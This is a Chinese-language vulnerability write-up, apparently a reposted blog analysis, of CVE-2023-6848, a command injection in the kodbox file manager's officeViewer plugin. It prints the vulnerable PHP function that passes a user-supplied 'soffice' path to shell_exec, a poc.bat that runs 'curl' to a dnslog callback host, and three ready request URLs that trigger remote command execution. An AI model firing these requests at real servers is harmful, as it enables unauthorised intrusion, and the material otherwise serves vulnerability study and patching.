本人非原创漏洞作者,文章仅作为知识分享用
一切直接或间接由于本文所造成的后果与本人无关
如有侵权,联系删除
产品简介
kodbox 是一个网络文件管理器。它也是一个网页代码编辑器,允许您直接在网页浏览器中开发网站。您可以在基于 Linux、Windows 或 Mac 的平台上在线或本地运行 kodbox。唯一的要求是要有 PHP 5及以上。
开发语言:PHP
开发厂商:杭州可道云网络有限公司
项目地址:https://github.com/kalcaddle/kodbox
空间测绘
回复“CVE-2023-6848”获取空间测绘语句
漏洞描述
kalcaddle kodbox 中发现漏洞,最高版本为 1.48。它已被宣布为关键。受此漏洞影响的是文件plugins/officeViewer/controller/libreOffice/index.class.php的功能检查。对参数 soffice 的操纵会导致命令注入。
影响版本
kodbox version ≤ 1.47
漏洞分析
$bin参数可控,shell_exec()执行命令,漏洞代码如下:
private function checkBin($bin,$check){
$code = Cache::get($bin);
if ($code) return $code;
$result = shell_exec($bin.' --help'); // ' 2>&1'
$code = strstr($result,$check) ? true : false;
Cache::set($bin, $code);
return $code;
}
getSoffice()调用checkBin(),在getSoffice()中$bin参数被两个双引号闭合,并且过滤了空格,导致这里执行的命令不能带参数(形如“curl xxx.xxx.xxx”),这里试过闭合双引号,但是没能成功,希望大佬指教。所以考虑上传bat文件,然后执行bat文件从而实现远程命令执行。
public function getSoffice(){
$check = 'LibreOffice';
$data = Action($this->pluginName)->_appConfig('lb');
$bin = isset($data['soffice']) ? $data['soffice'] : '';
$bin = '"'.trim(iconv_system($bin)).'"'; // win路径空格处理
$result = $this->checkBin($bin,$check);
return $result ? $bin : false;
}
其他check()和index()均调用了getSoffice(),亦可是远程命令执行的入口。测试下面的poc均可实现RCE。
index.php?plugin/officeViewer/libreOffice/index/check&soffice=C:\Users\Administrator\Desktop\poc.bat
index.php?plugin/officeViewer/libreOffice/index/getsoffice&soffice=C:\Users\Administrator\Desktop\poc.bat
index.php?plugin/officeViewer/libreOffice/index/index&path=/&name=1.docx&ext=docx&soffice=C:\Users\Administrator\Desktop\poc.bat
漏洞利用
利用条件:
<1>可以上传或写入可执行文件至服务器;
<2>知道可执行文件的相对/绝对路径。
1.搭建好环境,进入后台,创建poc.bat文件,文件内容如下:
curl b4r7k2.dnslog.cn
poc.bat在服务器的位置如下:
C:\soft\phpstudy_pro\WWW\kodbox-1.47.02\data\files\202312\16_ef333f63\poc.bat
2.下面POC均可执行poc.bat文件。
index.php?plugin/officeViewer/libreOffice/index/check&soffice=C:\Users\Administrator\Desktop\poc.bat
index.php?plugin/officeViewer/libreOffice/index/getsoffice&soffice=C:\Users\Administrator\Desktop\poc.bat
index.php?plugin/officeViewer/libreOffice/index/index&path=/&name=1.docx&ext=docx&soffice=C:\Users\Administrator\Desktop\poc.bat
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-6848
回复“CVE-2023-6848”获取空间测绘语句